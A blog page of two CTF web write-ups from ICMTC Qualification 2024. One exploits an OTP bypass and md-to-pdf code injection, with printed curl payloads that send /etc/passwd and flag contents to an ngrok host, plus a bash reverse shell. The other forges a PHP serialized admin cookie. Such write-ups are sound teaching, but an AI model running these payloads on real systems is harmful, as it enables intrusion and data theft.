0xk4k45h1
Active Directory
Domain Enumeration
Kerberoast
Kerberos Delegation
LLMNR poisoning
SMB relay
CTF
0xL4ugh 2024
Arab Cyber War Games Qualifications 2024
CyCTF qualification 2024
ICMTC Qualification 2024
IEEE Victoris 2024
PortSwigger
Wani CTF 2024
HackTheBox
Machines
Devvortex
Drive
Editorial
Intuition
PC
Visual
Sherlock
Mobile Pentesting
Android
Android Basics
Android Dynamic Analysis
Android Static Analysis
Home
Contact
Copyright © 2024 |
Yankos
Home
>
CTF
> ICMTC Qualification 2024
Now Loading ...
ICMTC Qualification 2024
Web: PDF Generator
Description There’s a problem with rendering the generated pdf, You need to execute /flag to be able to investigate in that issue. Solution when we start we see a page with Cannot GET /, so i tried to go to /robots.txt and i found User-agent: * Disallow: /src.zip /src.zip contains the source code, now we can begin. routes.js file contains const express = require('express'); const { encrypt, decrypt, mdToPdfAsync, rateLimit, requireSession } = require('./utils'); const OTPAuth = require('otpauth'); const crypto = require('crypto'); const fs = require('fs'); const path = require('path'); const router = express.Router(); const secret = new OTPAuth.Secret(); const totp = new OTPAuth.TOTP({ secret: secret, label: 'MarkdownToPDF', algorithm: 'SHA1', digits: 6, period: 30 }); const sessions = {}; const requestCounts = {}; const key = crypto.randomBytes(32); const iv = crypto.randomBytes(16); // Serve the OTP input form router.get('/otp', (req, res) => { res.sendFile(path.join(__dirname, 'views', 'otp.html')); }); // Validate the OTP and set session cookie router.post('/validate-otp', rateLimit(requestCounts), (req, res) => { try { const userOTP = req.body.otp; const userIP = req.ip; if (totp.validate({ token: userOTP, window: 1 })) { const randomValue = crypto.randomBytes(16).toString('hex'); const sessionToken = encrypt(`${userIP}:${randomValue}:${userOTP}`, key, iv); const expiry = Date.now() + 5 * 60 * 1000; // 5 minutes from now sessions[sessionToken] = { expiry }; res.cookie('session', sessionToken, { httpOnly: true }); res.redirect('/convert'); } else { res.redirect('/otp?invalid=true'); } } catch (error) { console.error('Error validating OTP:', error); res.status(500).send('Server error.'); } }); // Serve the markdown input form router.get('/convert', requireSession(sessions), (req, res) => { res.sendFile(path.join(__dirname, 'views', 'convert.html')); }); // Handle form submission and convert markdown to PDF router.post('/convert', requireSession(sessions), rateLimit(requestCounts), async (req, res) => { try { const markdownContent = req.body.markdown; if (!markdownContent || typeof markdownContent !== 'string' || markdownContent.trim() === '') { return res.status(400).send('Invalid markdown content.'); } const outputFilePath = path.join(__dirname, 'output.pdf'); const pdf = await mdToPdfAsync({ content: markdownContent }); if (pdf && pdf.content) { fs.writeFileSync(outputFilePath, pdf.content); res.download(outputFilePath, 'converted.pdf', (err) => { if (err) { console.error('Error downloading the file:', err); } // Clean up the file after download fs.unlinkSync(outputFilePath); }); } else { throw new Error('Failed to generate PDF.'); } } catch (error) { console.error('Error converting markdown to PDF:', error); res.status(500).send('Server error.'); } }); // Serve robots.txt router.get('/robots.txt', (req, res) => { res.type('text/plain'); res.sendFile(path.join(__dirname, 'public', 'robots.txt')); }); // Serve src.zip router.get('/src.zip', (req, res) => { const file = path.join(__dirname, 'public', 'src.zip'); res.download(file); }); module.exports = router; After examining this code you will find that you can visit /otp but you can’t visit /convert as it needs an established session and this session is created after submitting the right OTP. There’s also /utils.js contains const crypto = require('crypto'); const { mdToPdf } = require('md-to-pdf'); const encrypt = (text, key, iv) => { const cipher = crypto.createCipheriv('aes-256-cbc', key, iv); let encrypted = cipher.update(text, 'utf8', 'hex'); encrypted += cipher.final('hex'); return encrypted; }; const decrypt = (encrypted, key, iv) => { const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encrypted, 'hex', 'utf8'); decrypted += decipher.final('utf8'); return decrypted; }; const mdToPdfAsync = async (markdown) => { return await mdToPdf({ content: markdown }).catch(console.error); }; const rateLimit = (requestCounts) => (req, res, next) => { try { const ip = req.ip; if (!requestCounts[ip]) { requestCounts[ip] = { count: 0, resetTime: Date.now() + 100000 }; } const currentRequestCount = requestCounts[ip].count; const resetTime = requestCounts[ip].resetTime; if (Date.now() > resetTime) { requestCounts[ip].count = 0; requestCounts[ip].resetTime = Date.now() + 100000; } requestCounts[ip].count++; if (currentRequestCount >= 50) { requestCounts[ip].resetTime = Date.now() + 300000; console.log(`Rate limit exceeded for IP ${ip}. Access blocked for 300 seconds.`); res.sendFile(path.join(__dirname, 'views', 'rate_limit.html'), { timeRemaining: Math.ceil((resetTime - Date.now()) / 1000) }); } else { next(); } } catch (error) { console.error('Error in rate limit middleware:', error); res.status(500).send('Server error.'); } }; const requireSession = (sessions) => (req, res, next) => { try { const sessionToken = req.cookies.session; if (sessionToken) { const session = sessions[sessionToken]; if (session && session.expiry > Date.now()) { return next(); } else { delete sessions[sessionToken]; } } res.redirect('/otp'); } catch (error) { console.error('Error in session middleware:', error); res.status(500).send('Server error.'); } }; module.exports = { encrypt, decrypt, mdToPdfAsync, rateLimit, requireSession }; Anyway let’s visit /otp endpoint which is very simple After many attempts and reading the source code i noticed that const OTPAuth = require('otpauth'); and searched about this package and i found that the package itself is vulnerable. You can that see here. The totp.validate() function which is used in our code is vulnerable and may return positive values for single digit tokens even if they are invalid. This may allow attackers to bypass the OTP authentication by providing single digit tokens. Very nice after this info i tried to submit a single digit from 0 to 9 and one of them logged me in successfully. After logging in i got redirected to /convert So this page takes and md input and makes it PDF. When I try to supply any input, i get server error but the function works properly underground (the error is in rendering only), so It’s a blind challange then ummmmmmmmmmmm. After attempts i noticed also that the sorc code has const { mdToPdf } = require('md-to-pdf'); Guess What !!! Yeah very new way !! This package is also vulnerable xDDD You can find that here From the article i found that the payload i will use is ---js ((require("child_process")).execSync("id > /tmp/RCE.txt")) ---RCE But the response isn’t rendered so we will try another way. The way i think here is to execute a command that sends any request to an ip i have and if i got the response then the RCE works. On my local linux machine i started listening on port 4444 (the port at which i will wait for the request), but note that this port is local so the target can reach me. As a solution i started ngrok using ngrok tcp 4444 which works as a forwared in this situation. This command means that the public ip supplied from ngrok will forward the requests it gets to my localhost on port 4444. I got IP:0.tcp.eu.ngrok.io port:17552 from ngrok, so any request to 0.tcp.eu.ngrok.io:17552 will be forward to localhost:4444. when i try to use the payload ---js ((require("child_process")).execSync('curl http://0.tcp.eu.ngrok.io:17552')); ---RCE i get ┌──(youssif㉿youssif)-[~] └─$ nc -lvnp 4444 listening on [any] 4444 ... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 59622 GET / HTTP/1.1 Host: e874-156-160-149-56.ngrok-free.app User-Agent: curl/7.88.1 Accept: */* X-Forwarded-For: 46.101.193.189 X-Forwarded-Host: e874-156-160-149-56.ngrok-free.app X-Forwarded-Proto: https Accept-Encoding: gzip So there’s RCE and works well, I tried to get a reverse shell but i couldn’t during the ctf, so i tried LFI. After attempts i used this payload ---js ((require("child_process")).execSync('curl -X POST --data-binary "@/etc/passwd" http://0.tcp.eu.ngrok.io:17552')); ---RCE and i got the content of /etc/passwd ┌──(youssif㉿youssif)-[~] └─$ nc -lvnp 4444 listening on [any] 4444 ... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 35736 POST / HTTP/1.1 Host: 0.tcp.eu.ngrok.io:17552 User-Agent: curl/7.88.1 Accept: */* Content-Length: 972 Content-Type: application/x-www-form-urlencoded root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin node:x:1000:1000::/home/node:/bin/bash nodez:x:1001:1001::/home/nodez:/bin/bash messagebus:x:100:102::/nonexistent:/usr/sbin/nologin I could read /flag but with small modification because it was an executable file with exec permissions only ---js ((require("child_process")).execSync('curl -X POST --data-binary "$(/flag)" http://0.tcp.eu.ngrok.io:17552')); ---RCE I got ┌──(youssif㉿youssif)-[~] └─$ nc -lvnp 4444 listening on [any] 4444 ... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 36472 POST / HTTP/1.1 Host: 0.tcp.eu.ngrok.io:17552 User-Agent: curl/7.88.1 Accept: */* Content-Length: 97 Content-Type: application/x-www-form-urlencoded Congratulations, this is the flag location: /tmp/fc80064fad72eab4561049ae973e20ba/flag_HALDXQ.txt Now i can read the flag using ---js ((require("child_process")).execSync('curl -X POST --data-binary "@/tmp/fc80064fad72eab4561049ae973e20ba/flag_HALDXQ.txt" http://0.tcp.eu.ngrok.io:17552')); ---RCE and congratz you got the flag ┌──(youssif㉿youssif)-[~] └─$ nc -lvnp 4444 listening on [any] 4444 ... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 53184 POST /? HTTP/1.1 Host: 5.tcp.eu.ngrok.io:14819 User-Agent: curl/7.88.1 Accept: */* Content-Length: 52 Content-Type: application/x-www-form-urlencoded EGCERT{3e20ba_4lw4y5_ch3ck_f0r_vuln3r4bl3_p4ck4g35} Beyond flag The other way which is getting the reverse shell is easier i got it but before the ctf using the command ---js ((require("child_process")).execSync('bash -c "bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/17552 0>&1"')) ---RCE Then on the listening port i got a reverse shell and did that ┌──(youssif㉿youssif)-[~] └─$ nc -lvnp 4444 listening on [any] 4444 ... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 44750 nodez@8372928b8e00:/usr/src/app$ /flag /flag Congratulations, this is the flag location: /tmp/dc279a58e03ed93d03b1ed6b4c3c5330/flag_JQRCMB.txt nodez@8372928b8e00:/usr/src/app$ cat /tmp/dc279a58e03ed93d03b1ed6b4c3c5330/flag_JQRCMB.txt cat /tmp/dc279a58e03ed93d03b1ed6b4c3c5330/flag_JQRCMB.txt EGCERT{3c5330_4lw4y5_ch3ck_f0r_vuln3r4bl3_p4ck4g35} I also checked the permissions of /flag and the real flag to verify the reason why i couldn’t read /flag like the real flag or /etc/passwd and found this nodez@8372928b8e00:/usr/src/app$ ls -la / ls -la / total 112 drwxr-xr-x 1 root root 4096 Jun 26 07:08 . drwxr-xr-x 1 root root 4096 Jun 26 07:08 .. -rwxr-xr-x 1 root root 0 Jun 26 07:08 .dockerenv lrwxrwxrwx 1 root root 7 Jun 12 00:00 bin -> usr/bin drwxr-xr-x 2 root root 4096 Jan 28 21:20 boot drwxr-xr-x 5 root root 360 Jun 26 07:08 dev drwxr-xr-x 1 root root 4096 Jun 26 07:08 etc ---x--x--x 1 root root 17136 Jun 23 11:51 flag drwxr-xr-x 1 root root 4096 Jun 22 01:20 home lrwxrwxrwx 1 root root 7 Jun 12 00:00 lib -> usr/lib lrwxrwxrwx 1 root root 9 Jun 12 00:00 lib64 -> usr/lib64 drwxr-xr-x 2 root root 4096 Jun 12 00:00 media drwxr-xr-x 2 root root 4096 Jun 12 00:00 mnt drwxr-xr-x 1 root root 4096 Jun 21 01:03 opt dr-xr-xr-x 214 root root 0 Jun 26 07:08 proc drwx------ 1 root root 4096 Jun 23 11:51 root drwxr-xr-x 1 root root 4096 Jun 13 03:40 run lrwxrwxrwx 1 root root 8 Jun 12 00:00 sbin -> usr/sbin drwxr-xr-x 2 root root 4096 Jun 12 00:00 srv dr-xr-xr-x 13 root root 0 Jun 26 07:08 sys drwxrwx-wt 1 root root 20480 Jun 27 18:29 tmp drwxr-xr-x 1 root root 4096 Jun 12 00:00 usr drwxr-xr-x 1 root root 4096 Jun 12 00:00 var nodez@8372928b8e00:/tmp$ ls -la /tmp/51eb18c330994e86115669c71e960ecd ls -la /tmp/51eb18c330994e86115669c71e960ecd total 28 drwx------ 2 nodez nodez 4096 Jun 27 18:30 . drwxrwx-wt 1 root root 20480 Jun 27 18:30 .. -rw-r--r-- 1 nodez nodez 52 Jun 27 18:30 flag_QXIZVN.txt the /flag file has only exec permissions unlike the flag text file and /etc/passwd which are readable and don’t have exec permissions I wish the write up was useful Thanks for reading ^^
CTF
· 2024-06-27
Web: Hidden In Plain Sight
Solution when we start we see a simple login page When i go to /robots.txt i found this User-agent: * Disallow: /s3cr3t_b4ckup when you go to /s3cr3t_b4ckup you will be able to download the source code the code config.php whose content is <?php $valid_username = 'guest'; $valid_password = 'guest@123456'; ?> This is very good i used this credential to login we have also login.php which contains <?php include("config.php"); class User { public $username; private $password; public function __construct($username, $password) { $this->username = $username; $this->password = $password; } } if ($_SERVER['REQUEST_METHOD'] === 'POST') { $username = $_POST['username']; $password = $_POST['password']; if ($username === $valid_username && $password === $valid_password) { $user= new User($username, $password); $cookie_value = base64_encode(serialize($user)); setcookie('login', $cookie_value, time() + 3600, '/'); header('Location: profile.php'); exit(); } else { $error_message = 'Invalid username or password.'; } } ?> The interesting info here that the cookie is formed by calculating base64 of the serialized object of the logged in user. so if we decode out current cookie it becomes O:4:"User":2:{s:8:"username";s:5:"guest";s:14:"Userpassword";s:12:"guest@123456";} It’s corresponding to a user object with the credential we used. for more understanding of how the php serialized object created here in the src code there’s also profile.php which contains <?php include("flag.php"); include("config.php"); include("user.php"); if (isset($_COOKIE['login'])) { $user = unserialize(base64_decode($_COOKIE['login'])); if ($user instanceof User) { if ($user->is_admin()) { $welcome_message= "Welcome, admin! <br> $flag"; } else { $welcome_message= 'Hello, ' . htmlspecialchars($user->username); } } else { header('Location: index.php'); exit(); } } else { header('Location: index.php'); exit(); } ?> from this code we see that the flag will appear if the logged in user is instance of user and is_admin() returns True This function is tested on the cookie after decoding and unserializing the cookie (returning it to object). The last file in src code is user.php whose content is <?php class User { public $username; private $isAdmin = false; private $password; public function __construct($username, $password) { $this->username = $username; $this->password = $password; } public function getPassword() { return $this->password; } public function getUsername() { return $this->username; } public function is_admin() { return $this->isAdmin; } } ?> we see that is_admin() returns True if isAdmin attribute equals True. So our idea here is updating the cookie by adding isAdmin attribute and setting it to True. Note the validation to render the flag is done in isAdmin only, so we don’t need the username, etc … (including them isn’t a problem but i will ignore them xD) So the serialized object here became O:4:"User":1:{s:7:"isAdmin";b:1;} digging the serialized object O: object 4: object name length (needed for parsing) User: object name 1: number of object attributes s: string 7: string's name length isAdmin: string's name b: boolean 1: true encode it and add it in the browser cookie or burp and you will get the flag Congratzzzz
CTF
· 2024-06-27
<
>
Touch background to close